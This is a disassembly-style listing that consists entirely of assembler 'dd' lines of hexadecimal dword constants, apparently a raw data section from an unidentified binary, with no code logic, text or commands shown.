		dd 2F382985h, 4E3FF082h, 0B1DEA084h, 97F23BDBh,	0A5840DD4h
		dd 1A6FF8Ch, 8686B238h,	8D5F6EAh, 5A5568B7h, 0B1C20980h
		dd 7F0E1E9h, 33080513h,	2D7BA0EBh, 725D07A1h, 0F4DE277Fh
		dd 6862ECFBh, 0DB793B25h, 32F225FEh, 6441EF06h,	90C62DAh
		dd 0D9476385h, 0D62567FEh, 276B0099h, 61E93DD6h, 0B6D3ED4Ah
		dd 0AF1C4E56h, 0D5DE484Bh, 55E1C02h, 4F5AD075h,	4161EB5Dh
		dd 71EA6D68h, 48CA91BCh, 0FA988539h, 0BAFCB613h, 7D5F1275h
		dd 0A1490D22h, 53930228h, 90EEC4D7h, 51AF40B8h,	6468EEA0h
		dd 1F6E1207h, 29FF4058h, 5AE5290Fh, 0BA43F420h,	6C30F10Fh
		dd 0E2101D1Bh, 8FF68178h, 7F3004B5h, 0EC92A3A8h, 808073A7h
		dd 4A30FCF2h, 0A4F4B8D0h, 9D69DACh, 97C99E26h, 679640E1h
		dd 485C2A18h, 429F003Eh, 5DE91C9Ah, 4C954Bh, 0A536A4FFh
		dd 1438A208h, 4601AF01h, 1568EED1h, 78E17339h, 0BA98657h
		dd 55FEEFAAh, 0E2294F19h, 6104D02h, 71B05009h, 7F325C32h
		dd 6945C253h, 5BE1DA49h, 0CF403F20h, 0F9C9D718h, 672E6F7Eh
		dd 8FD15DC9h, 9D38551h,	0B151E813h, 0A6B60B00h,	5A25F120h
		dd 937FCC0h, 0C87C0BE5h, 68F86BEDh, 2D12B90Ah, 7975BCCAh
		dd 523B5946h, 0FB4052AFh, 0E79522E2h, 6553157Ah, 0E8555CF2h
		dd 80B454BFh, 0A698CA80h, 0A1D7F430h, 2F5A7BEBh, 2EFC71ECh
		dd 673E1230h, 46C40DFh,	0C168D16Fh, 0BDDEC7C4h,	1635DF64h
		dd 16421408h, 4116FF93h, 4EF6DEFEh, 0B34498h, 51C3FE1Fh
		dd 0EB30BAB5h, 0C044C1BDh, 0B43002D5h, 0C768134Ch, 3F895Bh
		dd 0B626B08Ah, 0C65C28ECh, 0C3682A43h, 0C1D8F72Ch, 78350600h
		dd 98ECCAB3h, 0BCC24B62h, 0E7AC3CA5h, 0BAB057F2h, 0BDFC15F4h
		dd 518C55E0h, 0F73AA017h, 0E5001353h, 49E99113h, 697D82E4h
		dd 0CD6AC9A3h, 7DF4ADEEh, 0E9173E3Ch, 6DD13A7Fh, 0B707BA20h
		dd 7900D989h, 1F49A8BBh, 72BD1503h, 0F9F3B0E1h,	0B87EAE34h
		dd 9AA2E1FEh, 92044255h, 680498F8h, 4E12EE6Ch, 0C67CB3BFh
		dd 2D5CFE9h, 0CB2833B1h, 0AC405059h, 209DFA48h,	0DD2D5F9Ch
		dd 30B22570h, 0B72C76FEh, 6BC66884h, 0B4CBCCh, 0ECB2527Ah
		dd 22E9E7B7h, 9AB8414Bh, 377B4FC4h, 0EC60A082h,	57D0FB4h
		dd 7B100E0Bh, 20F3F758h, 0A29B9871h, 495E5569h,	4F88BF2Eh
		dd 2129160Ah, 2DF319D3h, 0BF0DD220h, 0F12029B1h, 4FAC9851h
		dd 9EFFAD3Bh, 0CAE06997h, 91BF4BDh, 0E8318F21h,	0C6582CDCh
		dd 0FB7F0EB4h, 10D2296Ch, 580908DDh, 856C3487h,	9027A790h
		dd 0E76EFED3h, 2D7DC253h, 0E06C565Dh, 13236A30h, 0B5201DB8h
		dd 43FC9D5Fh, 1122F101h, 36309B57h, 5B6F75F3h, 0ED2D8251h
		dd 0B0E90882h, 5A68FA68h, 55851912h, 0DB44A5BBh, 0BDBA8303h
		dd 0D26C4D52h, 8B8D7C95h, 44FE3AD2h, 25E9F070h,	0BCD103D6h
		dd 0F7552E82h, 6A005522h, 1150128Ah, 4CB8D1FEh,	0DC488716h
		dd 0DD201BBh, 7F2B8C5Ah, 0F5B07A1Dh, 0A8402AE9h, 12C8E6ACh
		dd 0F7DD33Fh, 9FCB46C0h, 6D773FC2h, 0FCDC27B9h,	0D6012C54h
		dd 0CE81C075h, 627A613Eh, 0D66A50BFh, 638D0406h, 45BB13h
		dd 24E31631h, 0AD604F25h, 0F7732966h, 31055E62h, 0E83141FBh
		dd 9A633C21h, 0DFC8BA4Eh, 9DE77F98h, 0D6272511h, 3012000Bh
		dd 0A014D73Fh, 3B7D0BE7h, 0F5025068h, 60FBDD82h, 0E64B5857h
		dd 900A12CEh, 2E80EE36h, 4FAD4A05h, 12CEC41Ah, 19088B07h
		dd 3180FC0Ah, 0EF7B893Eh, 0E60A349Ah, 292C8B3Ch, 59E57D25h
		dd 0DCB0E317h, 0A67217D7h, 8061F878h, 0FC75ED4Ch, 965E2FE9h
		dd 924A5DE6h, 1A59971Fh, 32825CFDh, 67EF5E5Ah, 8231F87Fh
		dd 0EA447708h, 0FF14F597h, 0DBCF683Fh, 0B49AB8B6h, 68E19671h
		dd 39730E28h, 12264B50h, 915BE918h, 0BF28C797h,	875DE113h
		dd 0A6A843Dh, 2007EA7Ch, 525CBEAEh, 26B265D7h, 102B1AD6h
		dd 0D4081E54h, 565A15BBh, 94D480CEh, 0F4D77F12h, 221E3BE5h
		dd 0CAD32ED0h, 5525DAB8h, 3CC48873h, 0DCA9E109h, 640FE0D5h
		dd 137BB58Bh, 71A4F30Bh, 0C0DC2D12h, 1A7F9281h,	8C3F3183h
		dd 2C410D10h, 81E9ED3Eh, 1FE163BEh, 0F05CDA19h,	84316B4Ah
		dd 17E3F2Bh, 0D4CE06CBh, 4A336CC0h, 65A282A4h, 2CDA8DA8h
		dd 5002538Ch, 32436857h, 0BC00DD06h, 75F8D3EFh,	0BEF0B84Bh
		dd 42A96F4Dh, 0C7FB01C1h, 3F24D303h, 87036B5Bh,	0BD4C152Ah
		dd 0DC31D1F5h, 5701F252h, 8D9003EEh, 0CD16854Fh, 2B0A9DFAh
		dd 7EB1FF02h, 0CAADC0B2h, 0D5883359h, 97A3E945h, 7AEE3B76h
		dd 0F7D3429Dh, 0D9B69F1Eh, 5D53E1C2h, 0FA21F565h, 78CBE962h
		dd 5E5824B4h, 7B4A074Dh, 0E2FD3B4Fh, 2080BD9h, 0D7CBF887h
		dd 52B77D7Ah, 5B3B98F0h, 0BF9C8419h, 257ED4E7h,	4B7C6EA5h
		dd 84B07467h, 0B54C311Bh, 48C4BB46h, 0FC16ECEAh, 0D0B872B2h
		dd 5A66D31Ch, 413DDC2Fh, 3E186368h, 2215DDEh, 5119F72Ch
		dd 305DB06h, 0B450C3CEh, 0AAE304AFh, 0E9B55060h, 3E57AC0h
		dd 6866CDFEh, 93D21FF7h, 0D1A62B55h, 76E9E3D0h,	6BD1EB4Ah
		dd 523A39F9h, 0B881AA9Eh, 27ED301h, 8138E987h, 77DEA977h
		dd 0B15E04ACh, 0D54E2026h, 7E00F712h, 2B324C9Dh, 87C563E9h
		dd 0ADB9CFB1h, 0B230748Dh, 5349857Ah, 0CA891288h, 0B0B76BB8h
		dd 1C36B48h, 73DE0CC1h,	0BC7A07E8h, 20181739h, 42D05F92h
		dd 97BC55Bh, 45576A2Ah,	985D2FA0h, 5A20E9D7h, 0AA62BAEEh
		dd 0ECFC55BDh, 38A07792h
		dd 25CB2780h, 6017DA6h,	5C00C3Bh, 3FC16804h, 5750F232h
		dd 8857C040h, 3080D440h, 9F06BFCCh, 0ECF0DCF6h,	0E4FEF23Dh
		dd 0ACEA150Ah, 35D12250h, 4D5DEDCh, 826B7D02h, 5DDA839h
		dd 0DDEE558Bh, 29FF3A0Bh, 8DD86BF7h, 0CA6C49E9h, 4868520Fh
		dd 5A0B53A2h, 7649E657h, 0B85002D1h, 59ECEF9h, 4158AC41h
		dd 3ED5393h, 3A54B157h,	8211E37Fh, 4623F968h, 16190E6h
		dd 26484EE4h, 341EE95Fh, 0D6BF2D59h, 521E3D4Ch,	58A6BDD6h
		dd 479C4AB5h, 897629C5h, 61BB53C0h, 336B5809h, 0FEEA2D78h
		dd 0D9071B7Fh, 0D169B9B1h, 13725410h, 24EA5E5Fh, 0EAB00409h
		dd 0AA1202h, 8725C55Fh,	9B54760h, 0AB48FF36h, 53278EBCh
		dd 0C2C3225Bh, 6A18F557h, 13F65452h, 0B428D0B2h, 9251F226h
		dd 0B00142EDh, 2845855Ch, 9A8ACF0Bh, 7400FFC6h,	0D408C7F2h
		dd 5F325A67h, 87D9CA97h, 0B69212B7h, 2562E184h,	93F2313Bh
		dd 0C6810060h, 417526FAh, 68DE05FFh, 0C5D1ABD4h, 2C7A6188h
		dd 0E3A35298h, 531F0DCh, 0C690F509h, 0D88D85DAh, 0DD59D04Bh
		dd 3D33A5E0h, 173F25BFh, 0EAEA12EBh, 0F95E33CEh, 0DCB9D2C7h
		dd 51834F94h, 0A7EE1968h, 4F747A20h, 675DA25Dh,	9BF35E39h
		dd 301E1C37h, 0ACD4AFCBh, 8050834h, 69BCF1E9h, 0E1CBAA4Fh
		dd 20877125h, 0FF30C4B0h, 16F0BBB1h, 418D77Bh, 12F5CF60h
		dd 1D52F3E0h, 3E0CB16Ah, 0A28EA396h, 0EC730F4Ch, 842B6A12h
		dd 49820198h, 2F5B8181h, 4DF161BCh, 0B3903ED9h,	28D02AEDh
		dd 0E29E427Dh, 0BE82254Ch, 6720E878h, 33749FB5h, 7D785F72h
		dd 0ED9A2B00h, 0E9CD01A6h, 8C544EC6h, 0E340BC42h, 23C35709h
		dd 147DE90Ch, 0A4906620h, 7E98EF2Fh, 109B4A47h,	0F5810111h
		dd 1E97080Eh, 509D23Ah,	9C1510D5h, 6C190992h, 7659E889h
		dd 276A53C3h, 0D0D4EA4Bh, 0B6D762B1h, 114252Bh,	9B4E9EEBh
		dd 73F42C1Ah, 12244797h, 0FAC34489h, 5B05AD19h,	0EB6717BAh
		dd 5B0572D1h, 50BAD83Eh, 229535F6h, 0D6ADC040h,	0A814675Dh
		dd 89EC7D27h, 0A75AD73Fh, 0A90FE31Ch, 1324E134h, 8FC12580h
		dd 4265E76h, 0C301E324h, 0EA21E933h, 1292896Ch,	802DFE21h
		dd 0D632AE2Ah, 25BAD4FBh, 52B7BAF5h, 94E92AA8h,	0DDF62CCAh
		dd 0C3973CF6h, 4BA04026h, 5869A35Fh, 0C3225897h, 33350406h
		dd 513AA797h, 0E457A31Ch, 26C4C689h, 0FCEF02E6h, 0BEF02F6h
		dd 0D5460FC4h, 251186C0h, 0E4F8287Dh, 2F9EB63Ch, 1639F331h
		dd 6B80BF89h, 5E116885h, 5CFBD7Dh, 0E1FAA442h, 0BE735CE8h
		dd 2E56A74Fh, 0E63FF8ADh, 0ED8100D5h, 6572782Dh, 404E74E9h
		dd 453A6B4h, 0D13DDD0Ch, 0B7E1BEE8h, 24FC05FCh,	2D79E7B5h
		dd 0C57FC058h, 75E0BD81h, 0BF204833h, 0B814AC00h, 5DEE3183h
		dd 0FA408298h, 0D279955Ah, 0E4FA89C5h, 7AE1E77Ah, 97E89799h
		dd 5EF19D2Ch, 2D592988h, 6C1EFB58h, 9EA61AFCh, 0FEE2F405h
		dd 0F6852F0h, 170A7BA6h, 57D69986h, 0E6372816h,	5EC7B900h
		dd 125CDE2Bh, 0A5EE3CE9h, 3AD2DDECh, 0A6DEFB13h, 52FF25Fh
		dd 7CF741AAh, 7945D81Fh, 62944FB9h, 5B898188h, 0BB71ABCFh
		dd 8005BFA5h, 0E328C83Fh, 25625848h, 0EA91D205h, 32754968h
		dd 6145E90Dh, 42522131h, 0A25D8980h, 553E760Fh,	698D2153h
		dd 0F8020A29h, 35E747CEh, 5EB90118h, 82277462h,	121075EEh
		dd 56A764Ch, 0AB304604h, 81A69D4h, 5A14041Ch, 3F1B81E9h
		dd 0AEB17128h, 3AE9252Bh, 9FA94E15h, 0B8CD5ED8h, 3D0A0023h
		dd 127AB928h, 29244EE7h, 92082FC1h, 91301678h, 5DF35AEh
		dd 0D125B320h, 41CB3E6Eh, 1EF7E3D0h, 894E2D7Bh,	0B52F4A61h
		dd 90F62389h, 50CD5E27h, 581C981h, 7A4EB82Ah, 0F1A99E25h
		dd 93C39E4Bh, 4C4CF89Ah, 275EA6AEh, 9071E291h, 0E416B02Ch
		dd 1D0A30AEh, 78273B6Fh, 0A2321631h, 0DE9D520h,	0D7AD3401h
		dd 0B9399E4Eh, 97E3D7FAh, 0C111FCFDh, 311C2BBFh, 1C7FD30h
		dd 14446753h, 2B70D668h, 5F27BD30h, 2755E16h, 56E943A4h
		dd 0FE27A45Ch, 0DB2A0CE1h, 0ABDED9BBh, 1439758Ch, 0BF7C9588h
		dd 0F692F926h, 0EB4A6EF8h, 8D401C2Bh, 16A7B866h, 1DC8885Ah
		dd 0F22267Ah, 37B4F830h, 3DDCA010h, 0F505AD01h,	7C211F09h
		dd 0C2598568h, 72535C7Dh, 5A53545Dh, 0DC29D1Bh,	934AF1DDh
		dd 5694AB53h, 4D38E8C0h, 814B2C82h, 9D451CC0h, 633AC4Fh
		dd 0C1EE073h, 947B1409h, 8B17B6Fh, 0D03C7113h, 2C74F0E4h
		dd 0CB416AE5h, 7FB2685Ah, 5155626Eh, 52F65C77h,	2995E820h
		dd 72BD3B98h, 0E9E50ECAh, 17DD2E58h, 0B0A7569Eh, 211D1FC5h
		dd 4493CEFCh, 5AE98DCCh, 0ABF28462h, 0B678FC81h, 543D4F76h
		dd 0B753FDD0h, 0E9F00459h, 4B7C6420h, 0A68105C1h, 59CFDA42h
		dd 946C5051h, 36DD250Bh, 7949132Ah, 0B2F5BFE1h,	0FF580802h
		dd 6F213C19h, 0B56B67D9h, 6CA86E3Eh, 851F61E9h,	5F295B03h
		dd 7A9AB3BEh, 6B60D19Fh, 7B9FD84Ch, 620B3C65h, 315C656Fh
		dd 900FA0BBh, 7B572410h, 6E481FF7h, 44F409BAh, 0BD2D5255h
		dd 0E926D552h, 358B4BA3h, 619D004Bh, 3336DD0Dh,	0A4544C43h
		dd 63A09BA3h, 799FEF5h,	728A92E2h, 78B20B51h, 77055E05h
		dd 858EB93Ah, 6E7479E1h, 0EFFF16DCh, 63BB3681h,	704D4821h
		dd 5D022E91h, 0CE812A35h, 3D704188h, 267CC22Ah,	3D61DEE2h
		dd 14A32AF1h, 18D85510h, 0E598CB29h, 674B2421h,	7FE4012Ch
		dd 0E4595BCDh, 0C55117E9h, 260D065Fh, 0DAE91980h, 2F5DDBA9h
		dd 60033EACh, 0A7BF1275h, 2310B25h, 0D4442111h,	0DE68E798h
		dd 0F232FBD6h, 0E1B0DDA6h, 83C0B738h, 932CB6C5h, 0EDD12E45h
		dd 9F042D02h, 4A94EE59h, 69304EEh, 8A23D015h, 164A4C1Fh
		dd 1D026FE0h, 82C1310Eh, 0A07AE903h, 0A720C7C5h, 75150839h
		dd 2125F2CEh, 0F3013A1Dh, 8208F6A0h, 0A40CC2E1h, 91AAC2A0h
		dd 21CA0150h, 5B03E71Bh, 4C62A5CFh, 0E6F7B07Fh,	0B3F3745h
		dd 0F1B3510Ch, 5D912B74h, 8104683Dh, 0EB638672h, 92A5A410h
		dd 0F67B044Bh, 84B3FDDCh, 80033BF4h, 0DBC10CCBh, 4B7BBF09h
		dd 0F05614AAh, 625FFF4Ah, 33EE5A27h, 9C0E535Dh,	0C5353207h
		dd 0A91136h, 0EE3934F3h, 0A08A9009h, 48137025h,	0F3043164h
		dd 817531F2h, 20FFA0Eh,	0CF684159h, 0A1D85202h,	49BD5A4Eh
		dd 0B0689080h, 639F2177h, 48149843h, 0AF7458A0h, 7F84715Ch
		dd 0A06AFCFAh, 306443EAh, 610C233Eh, 1C5BB129h,	60086750h
		dd 602C0A4Ah, 0DFF7255Fh, 0FD0B5F76h, 33985DEEh, 5695237Ch
		dd 54B06CD1h, 86692890h, 3D3FF01Ah, 40255652h, 0FBBBB900h
		dd 384B3634h, 0A6A97F1h, 9DB86442h, 4AD8B50h, 0FF556199h
		dd 0FEB1D5ACh, 0E9C2C2F3h, 0E5D464B4h, 2239BA81h, 0EF2A6530h
		dd 87EE9F13h, 46CD5027h, 0D8FA27C5h, 0E9072D50h, 0E84DC32Fh
		dd 0BDE10F89h, 182CD0CCh, 939E7A9Dh, 1DAEEA16h,	0FE7839B4h
		dd 35694F14h, 3D6AE153h, 0C2E14072h, 0B3D640EFh, 6850AC62h
		dd 0CA3A6FBFh, 81292850h, 9539B220h, 2B29D5AFh,	0B90565F8h
		dd 428D3D63h, 4E16E1C0h, 681B09D5h, 3E565C32h, 68148DA5h
		dd 0FB3C3AB9h, 0C590714Ah, 5F362E64h, 0EBA780AFh, 1C42126Ah
		dd 6FDB53Ah, 61010C08h,	0E917A807h, 566E9715h, 0EF4BE01Eh
		dd 0C0BE4028h, 0BC91E571h, 0A5B2D62Fh, 3E880DD4h, 0F4702788h
		dd 131922C1h, 0FD3B7883h, 680361BAh, 0CC6A5425h, 7602DE9Fh
		dd 0F3E97B8Bh, 0D3C65D21h, 8837C90Dh, 4420D136h, 0D95281EEh
		dd 16E755F7h, 0BEC0FEC2h
		dd 0BDE8315Bh, 53128DF3h, 1C723904h, 4109BDD2h,	0C6284C5Ah
		dd 0BEF28916h, 2058EB26h, 595C736Eh, 0A4FCDE17h, 0B6C28DF5h
		dd 0E5BA00C4h, 4D4CF819h, 3B033523h, 708DACD9h,	0F00E0861h
		dd 0E5010DE4h, 84CDB971h, 102C81F1h, 46253461h,	0E997C0C8h
		dd 0A920DC4Ah, 0E3DEC93Dh, 2A677638h, 1BC640D7h, 97026853h
		dd 0E962F722h, 2C317691h, 20900AD1h, 2A76C0B3h,	0E9166660h
		dd 0B0BC0E2Fh, 0FE24398Fh, 6001124Ah, 43DD5112h, 0B7549DEDh
		dd 3BA109C7h, 0E02BCDD1h, 332D9122h, 1F9BF6A1h,	1E8BE931h
		dd 9B28A576h, 0CBF48F8h, 5E98E518h, 2A13B3B9h, 0F8BBA3F1h
		dd 0B853B992h, 7721C404h, 7DC45B0Fh, 1B24EB50h,	0B7E3A9C3h
		dd 403588B2h, 7F03735Eh, 36294C8Bh, 0CA122648h,	2133AACFh
		dd 556CA2C9h, 0C33B1FC0h, 43A8932Fh, 7D36B24Bh,	1AFA5E96h
		dd 6B910F5Eh, 5008E596h, 7813C52Eh, 33E06713h, 12D4B847h
		dd 6B411FCh, 0B1D56103h, 2597D70Eh, 0A7D34F47h,	14A45393h
		dd 0E0B75EA8h, 560D1E35h, 0B82D4302h, 0C2E1AE5Ch, 40B579C0h
		dd 10A0E957h, 8F2D89B9h, 0B1D80A51h, 0C24C5F25h, 92FF459Dh
		dd 84D1AB66h, 3887D7F4h, 47F780h, 0C8285BF8h, 362A2C90h
		dd 702F8705h, 0F112A0ABh, 406FF609h, 0E2068189h, 6CB5034h
		dd 7225FE0Ch, 0FA7A9522h, 10BE9E0Bh, 0B40ADD8Ah, 9A4609B0h
		dd 9C6F9C5Fh, 3AE9E14Fh, 0C4F328E0h, 550BF347h,	1E894F5Eh
		dd 0FF02E3B8h, 570EFA7Eh, 902D5C96h, 0D6EF2817h, 5360A638h
		dd 95299F02h, 0CB037F4Fh, 160ADD01h, 9FEF23ECh,	799DC900h
		dd 904172D9h, 52610ABCh, 30CE356Ah, 5D07C520h, 1080A358h
		dd 0E94B27B4h, 78E44874h, 0D7302BFh, 9F06877Bh,	40FD25E8h
		dd 0B051566Fh, 1FF191BEh, 0E416FCEBh, 0D654B888h, 4B1619B6h
		dd 0F68DBFB1h, 1D9667DDh, 0A0E5231h, 10A35A6Ch,	0D4F60CF5h
		dd 4EE67C53h, 4698BBFEh, 8E224B5Fh, 41BF0083h, 83634D34h
		dd 0B2014EC7h, 0DDB21017h, 0FDC4800Eh, 6207EC67h, 7C5F92F4h
		dd 2BE4091Fh, 0CE7C30DDh, 136880AAh, 67FC7E4Ah,	0E83390C4h
		dd 9A82E54Dh, 0D1D1F5CEh, 0A9A7AB4Fh, 0B510F852h, 925F184Ah
		dd 0D156C18Fh, 0BC758405h, 7C4E04A2h, 0E98002A3h, 5A5C83B3h
		dd 6823E0FDh, 0A4768E2Ah, 492FCA25h, 20D6B250h,	7DD049F6h
		dd 6855D402h, 827F2D06h, 0BF12FFh, 50D9EB80h, 4832FDFDh
		dd 5F99470h, 714AE01h, 867119AAh, 211BFF78h, 16C474E8h
		dd 238B5E1Fh, 5EF19605h, 9C14FBC5h, 37410556h, 0B3D11F1Ah
		dd 8801944Eh, 95052FD0h, 0AA98DC16h, 734D2DD5h,	7A6A6A02h
		dd 9910DF0Bh, 8283B706h, 9B837FE3h, 8092B652h, 0EB0C3156h
		dd 320682h, 0B050F328h,	24642C5Dh, 9A049E02h, 0A296F5E9h
		dd 0FE51EFF0h, 0B15D6494h, 29EA3A90h, 6CE86F64h, 6FB6B8B0h
		dd 35377700h, 63423CF2h, 33EE0B25h, 0A3F66B11h,	350CC12Dh
		dd 9D022FCh, 585B5078h,	0C80EA30Bh, 6BA02E78h, 14040BB6h
		dd 42B8FBFFh, 2190550h,	0E91EC82Ch, 1C7C30C0h, 4278DD52h
		dd 452E39Fh, 3A6F5B32h,	67E5F85Fh, 97721112h, 0E682127h
		dd 0C0316A78h, 0AA52F16Eh, 0A0FE65FAh, 0E98D0BA2h, 4FF6023Dh
		dd 5E6EDE69h, 5AEA6C20h, 0ED94455h, 4E050076h, 4F38AD61h
		dd 0AF30AB31h, 0D370A1E9h, 97F4BE24h, 8D00B577h, 7D13E6BBh
		dd 0D31CF7EEh, 666D1568h, 2620FE2Fh, 82D024Ah, 702F9960h
		dd 148B8EDh, 0B91089F1h, 0F4CB013Dh, 7D9ADE85h,	64FCF982h
		dd 64486560h, 9DF3F87Bh, 114C6576h, 1AAE0FCBh, 0DE32C0h
		dd 22885399h, 509E3C1h,	0FE498D68h, 18C36F61h, 80031035h
		dd 7BBA5AA7h, 43E1B849h, 74340461h, 98527E68h, 704F4448h
		dd 4D6172B3h, 4D429468h, 305060E0h, 7D40E64Ah, 7D287270h
		dd 0A2CE5A31h, 0A09B100Fh, 69C36809h, 4F80F6F1h, 0F7311A36h
		dd 54EEFED6h, 9BA4228h,	66AB7BC2h, 1017427Ah, 6F4FEE2h
		dd 314526C7h, 3E3F0303h, 82746D49h, 2DC15812h, 0D2E1AD80h
		dd 6C82274Ah, 0EDFC04FAh, 74700D14h, 0A30F0487h, 0A4EC4AD7h
		dd 4C0CAA4Fh, 5A89B1F2h, 0D612F0E3h, 669B091Fh,	66178A89h
		dd 0B5ECF2FBh, 0D3BE0380h, 36129841h, 0E905F231h, 2CABFEFAh
		dd 216EFFEh, 28EF3C87h,	0D365BBECh, 0A1EF5B34h,	4B8A4B40h
		dd 0EE816BE5h, 7D92456Ah, 0CCD06B29h, 2568585Eh, 0F45971D8h
		dd 0ECD95FE9h, 0EF1180C9h, 2C672B7Bh, 4F38B8E9h, 0BEE1BB52h
		dd 0C13569EDh, 0DDA8A00h, 0EE46B78Eh, 27615D1Ch, 6872C027h
		dd 0EEF609D4h, 0F22702E9h, 85323766h, 2C730448h, 3C1FBAA4h
		dd 0AF6809BAh, 780FB02Bh, 0DF82F6h, 0F5814D8Eh,	1027133Bh
		dd 0C0F6004Fh, 8949FB1Bh, 43E97EC3h, 29401A09h,	8261E9D6h
		dd 0FC6217AAh, 85795D4Fh, 0A84C4D40h, 0EC934859h, 40DA6B50h
		dd 0BE0456CEh, 17047DF3h, 236603EFh, 0EEB01C45h, 0E2093F57h
		dd 707DE96Ch, 0A0B90523h, 0AF417466h, 0FC514CC1h, 0B71FB83Bh
		dd 0EE1E80E2h, 7C733853h, 7AFC9F70h, 6B50E950h,	1CF5306Bh
		dd 0C8210964h, 4F2B84E9h, 518B966Fh, 0B94802B1h, 2792F728h
		dd 4E9FA558h, 10D59DDAh, 0A1D26B74h, 86D94DDDh,	39D8E36Ah
		dd 4F3B2C68h, 0A0B2AB69h, 0E95451D2h, 25725F01h, 0B561FF97h
		dd 0E76E1825h, 4B4CD3h,	33873219h, 0B0AFC281h, 737776A3h
		dd 0D8EB26F2h, 0B9D1124Ch, 1FE67CBCh, 34A06F02h, 526688E9h
		dd 3F7B272Bh, 0F5E16FA2h, 0F6135B05h, 0B5F2FD8h, 567CA360h
		dd 685E3F41h, 1B5048F3h, 0D8B45155h, 9D222A6Ch,	5B15663h
		dd 53072031h, 7BF925E0h, 124FBBE4h, 0B0C27374h,	24E9E9DFh
		dd 5C953329h, 0C1854FFCh, 4F62E8D1h, 5EB92560h,	7DE266Fh
		dd 0BD06175Eh, 4B600630h, 411747Ch, 1F8C1CE9h, 0D712EA83h
		dd 93850CA2h, 54D43238h, 6E89E054h, 641EC4ACh, 80014259h
		dd 7918C3EDh, 8409345Bh, 568E8931h, 40070D84h, 7E55D863h
		dd 258ACB4Ch, 0F5C8E2B3h, 173FD5C5h, 8BBF1B3Fh,	5F5825CAh
		dd 0E902C2C7h, 68FEF4A9h, 9727134h, 0E7D17E26h,	12104C84h
		dd 0F02D609h, 1275C611h, 4CBD348h, 0E46677BEh, 35961DB0h
		dd 9267DC2Fh, 0EB8912C7h, 0CA55BF1h, 766FE2D7h,	728505DFh
		dd 0D252A0E0h, 47935518h, 2D15520Ch, 45CA690Eh,	0E9550801h
		dd 5B093AE4h, 0A1BA7558h, 6D601DE0h, 2511469Dh,	9952BA0Eh
		dd 4C1DF105h, 0BEA6EAFh, 0EA004352h, 3E90650Ah,	3C4AE8EDh
		dd 60632B2Dh, 5B3F3D61h, 81F1273h, 51176054h, 0B20DD30Bh
		dd 0F7E6D793h, 0C93E5C61h, 0D2CAA945h, 0E9088074h, 527D5A8Dh
		dd 6C49EA19h, 18E55D5Bh, 2B7B9F0Ch, 720B0FC5h, 3C6963A3h
		dd 58BD9B58h, 7A33450Dh, 89349A8h, 59042F04h, 0FCC0D828h
		dd 78C680F3h, 4CF0591Eh, 3A7B2D93h, 1EC47E39h, 539016Eh
		dd 0F2E61F91h, 0B6622035h, 0D012D1B8h, 0D1BFBAE9h, 818BD53Dh
		dd 0FDE4F5BBh, 146AF7FBh, 0C009ECBDh, 7D7C4519h, 0FF64C104h
		dd 211603E6h, 0E68FBCF9h, 0A8685ADAh, 8AFA4BCAh, 8CE90B5Eh
		dd 2FA96C13h, 0A5DA1B77h, 7F28E527h, 51006B94h,	0ED8018B5h
		dd 0E0EC2C53h, 32E927E8h, 0C5979ED0h, 39ECA7E9h, 12FDC720h
		dd 1687CB29h, 7436A918h, 0DE47E213h, 1FB706B0h,	3F76C322h
		dd 2917FFDFh, 0CA2DE5F8h, 45FDDB0Bh, 82780C9Fh,	0F6BF5C1Ch
		dd 4F8BC9C4h, 0ADBC17D7h, 68415EFEh, 926A4543h,	4E6678C6h
		dd 0F3055836h, 0BD04C12h, 8D5C0125h, 5F0B0EC2h,	9A57E47h
		dd 0E9640183h, 9C3FB9EFh
		dd 1DFA68DDh, 0B912CEB3h, 654223B8h, 0F3AB697Bh, 0F4273102h
		dd 0FB0BCEFAh, 706A1331h, 5D2FFCF0h, 0AA671E56h, 3F58D2A8h
		dd 0D3958A64h, 83BA2092h, 296F4E11h, 2EED7EFEh,	0F244FAA5h
		dd 8BAA0F31h, 66CC4E60h, 15F99DFBh, 9608C148h, 9A9282Bh
		dd 645E6D10h, 0A957E904h, 0D7D1D2B3h, 9045CE67h, 83AC2BF8h
		dd 0FF252594h, 9F8A6EC5h, 0E95325F5h, 1A9CF7D0h, 80C9C25Ch
		dd 0C07D53C1h, 806FEF66h, 22181CBEh, 0F57818C6h, 61B32431h
		dd 0D04E1606h, 667BC2D9h, 8220797Bh, 0FC894A35h, 0C0BBB429h
		dd 44921691h, 41120159h, 860F2D08h, 9F98D0A0h, 0FB201478h
		dd 2190A5h, 60FD61CEh, 29E32B9h, 5B4C9F5Ch, 3A192DEBh
		dd 4321E5h, 6114D1C9h, 56BA56Eh, 0B7E4AC08h, 0D141BDF0h
		dd 0A93AC02Fh, 15C1A5Eh, 81A04F9h, 0E5140AFAh, 2DAFA088h
		dd 0D89B2F40h, 8FF74082h, 3023B62h, 4241CD03h, 180427D0h
		dd 3CA21A4Bh, 418AF4C2h, 2A311464h, 77723368h, 0C57E4BC4h
		dd 25D3EB2Dh, 1310D6BDh, 0AE02EE83h, 0ABD2F2A3h, 6B3CC438h
		dd 5AFE3ECDh, 0EE0E5FAFh, 0F15A939Fh, 68C360A1h, 892D3C0Fh
		dd 58B78978h, 0B9FB9F78h, 0EE96EA5h, 0C324673h,	614FE2C0h
		dd 0EBB04C5Eh, 9A365101h, 1FE8E967h, 0B940409Dh, 1F71852Fh
		dd 67EAB58Ch, 32084A1Bh, 80E1D873h, 86C56C6Eh, 7EC8156h
		dd 42F076F3h, 0A738278Fh, 250A3A72h, 0FF419677h, 0AE4EDF28h
		dd 98410DCAh, 90D9A36Ah, 975734E8h, 6E8BCEAh, 3A1F2ABAh
		dd 2F42770Ch, 0B255B3DEh, 726E75C2h, 6185F4BFh,	2CCC75E9h
		dd 0A4F24ED3h, 0FEDAD7E0h, 2D600394h, 4E484B8Eh, 0BF28440h
		dd 4A925F07h, 0C5184077h, 6649256Dh, 2B898176h,	27EAF9F0h
		dd 9561BEF7h, 9551E25Eh, 0E37F2C31h, 0E1680B2Eh, 45EBDB3Ch
		dd 0A6A2AA2Ch, 2E254E1h, 0F9B9A29h, 9873EE43h, 2F315B1Eh
		dd 944058C2h, 0BD00916Fh, 0F8562A2Dh, 50D02953h, 965A0705h
		dd 0D5006B7Ch, 2B4928B0h, 390BD3B8h, 857CB102h,	0A8668DBh
		dd 16504BE5h, 0D612FEC1h, 2CB25287h, 817DD6EBh,	497F6194h
		dd 58D02F31h, 20346E80h, 6F3E514Fh, 9DF54Eh, 0E9D5F76Eh
		dd 40A7E11Bh, 7A97E8F8h, 4597621h, 6C364125h, 1B77C052h
